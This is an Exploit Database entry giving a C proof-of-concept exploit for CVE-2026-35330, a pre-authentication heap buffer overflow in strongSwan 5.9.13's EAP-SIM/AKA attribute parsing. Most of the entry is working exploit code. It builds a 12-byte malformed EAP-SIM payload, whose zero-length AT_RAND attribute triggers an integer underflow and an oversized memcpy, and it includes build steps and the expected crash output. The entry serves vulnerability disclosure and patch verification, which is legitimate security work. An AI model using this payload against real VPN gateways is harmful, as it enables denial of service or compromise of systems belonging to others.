This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING strongSwan 5.9.13 - libsimaka EAP-SIM/AKA heap buffer overflow EDB-ID: 52587 CVE: 2026-35330 EDB Verified: Author: LUKAS JOHANNES MOELLER Type: REMOTE Exploit: / Platform: MULTIPLE Date: 2026-05-29 Vulnerable App: * Exploit Title: strongSwan 5.9.13 - heap buffer overflow * Date: 2026-05-13 * Exploit Author: Lukas Johannes Moeller * Vendor Homepage: https://www.strongswan.org/ * Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2 * Version: strongSwan <= 5.9.13 (eap-sim or eap-aka plugin built) * Tested on: Debian 12 bookworm, libsimaka.so.0.0.0 + libstrongswan.so.0.0.0 * from upstream strongswan-5.9.13 tarball (no distro patches). * CVE: CVE-2026-35330 * References: * https://github.com/strongswan/strongswan/commit/aa5aaebc33 * https://nvd.nist.gov/vuln/detail/CVE-2026-35330 * https://github.com/JohannesLks/CVE-2026-35330 * * Description: * parse_attributes() in src/libsimaka/simaka_message.c computes * attribute data length as `hdr->length * 4 - 4` without guarding * against `hdr->length == 0`. For length == 0 the validation * `hdr->length * 4 > in.len` evaluates `0 > in.len` (false on any * non-empty input), so the check passes. The chunk length then * underflows to (size_t)0xFFFFFFFFFFFFFFFC and is passed to * add_attribute(), which performs `malloc(sizeof(attr_t) + data.len)` * -> `malloc(16 + 0xFFFFFFFFFFFFFFFC)` -> a 12-byte allocation, * followed by an oversized memcpy. Under ASan this is a clean * heap-buffer-overflow WRITE; under glibc it is an immediate * SIGSEGV inside production code as soon as memcpy walks off the * end of the 12-byte chunk into unmapped memory. * * The bug is pre-auth: an EAP-SIM/AKA payload reaches * parse_attributes() inside IKE_AUTH before any peer authentication * has completed. * * Build: * gcc -fsanitize=address -g -O0 \ * -I/path/to/strongswan-5.9.13/src/libsimaka \ * -I/path/to/strongswan-5.9.13/src/libstrongswan \ * -include /path/to/strongswan-5.9.13/config.h \ * strongswan-5.9.13-libsimaka-eap-sim-aka-overflow.c \ * -L/usr/lib/ipsec -Wl,-rpath,/usr/lib/ipsec \ * -lsimaka -lstrongswan -o sim-aka-oob * * (The /usr/lib/ipsec rpath points the loader at the installed * strongSwan libraries. Headers come from the source tree because * simaka_message.h is not installed system-wide.) * * Run: * ./sim-aka-oob * * Expected output on a vulnerable strongSwan (<= 5.9.13): * AddressSanitizer: heap-buffer-overflow ... WRITE of size 8 * #0 ... in __asan_memcpy * #1 ... in parse_attributes ... simaka_message.c * #2 ... in parse ... simaka_message.c * #3 ... in main ... this file * * Without ASan you should see a SIGSEGV; on a patched strongSwan * (master >= aa5aaebc33) parse() returns FALSE and the program * prints "parse() returned FALSE (patched)". * * Disclaimer: * For authorized testing and defensive research only. Do not use * against systems you do not own or have explicit permission to * test. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <arpa/inet.h> #include <library.h> #include <utils/chunk.h> #include <simaka_message.h> /* EAP codes (RFC 3748) */ #define EAP_REQUEST 1 #define EAP_RESPONSE 2 /* EAP types */ #define EAP_TYPE_SIM 18 /* EAP-SIM subtypes (RFC 4186) */ #define SIM_CHALLENGE 11 /* EAP-SIM/AKA attribute types (RFC 4186 / RFC 4187) */ #define AT_RAND 1 int main(void) { chunk_t data; simaka_message_t *msg; uint8_t payload[12]; if (!library_init(NULL, "exploit-35330")) { fprintf(stderr, "[!] library_init() failed\n"); library_deinit(); return 1; } /* * EAP-SIM header (8 bytes): * byte 0: code = 2 (EAP_RESPONSE) * byte 1: id = 0x42 * bytes 2-3: length = htons(12) * byte 4: type = 18 (EAP-SIM) * byte 5: subtype = 11 (SIM_CHALLENGE) * bytes 6-7: reserved * * AT_RAND attribute header (4 bytes): * byte 8: type = 1 (AT_RAND) * byte 9: length = 0 <-- triggers underflow: * hdr->length * 4 - 4 = -4 -> SIZE_MAX-3 * bytes 10-11: reserved */ payload[0] = EAP_RESPONSE; payload[1] = 0x42; payload[2] = 0x00; payload[3] = 12; payload[4] = EAP_TYPE_SIM; payload[5] = SIM_CHALLENGE; payload[6] = 0x00; payload[7] = 0x00; payload[8] = AT_RAND; payload[9] = 0; /* the bug */ payload[10] = 0x00; payload[11] = 0x00; data = chunk_create(payload, sizeof(payload)); printf("[*] payload (%zu bytes): ", data.len); for (size_t i = 0; i < data.len; i++) { printf("%02x ", payload[i]); } printf("\n[*] EAP-SIM header: code=RESPONSE id=0x42 len=12 type=SIM subtype=CHALLENGE\n"); printf("[*] AT_RAND header: type=1 length=0 <-- triggers underflow\n\n"); msg = simaka_message_create_from_payload(data, NULL); if (!msg) { fprintf(stderr, "[!] simaka_message_create_from_payload() returned NULL" " -- header rejected\n"); library_deinit(); return 2; } printf("[*] simaka_message_create_from_payload() -> %p\n", (void*)msg); printf("[*] calling msg->parse(msg) --" " expecting heap-buffer-overflow inside parse_attributes()...\n"); fflush(stdout); if (msg->parse(msg)) { printf("[?] parse() returned TRUE -- unexpected\n"); } else { printf("[+] parse() returned FALSE (patched) -- attribute rejected\n"); } msg->destroy(msg); library_deinit(); return 0; } Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.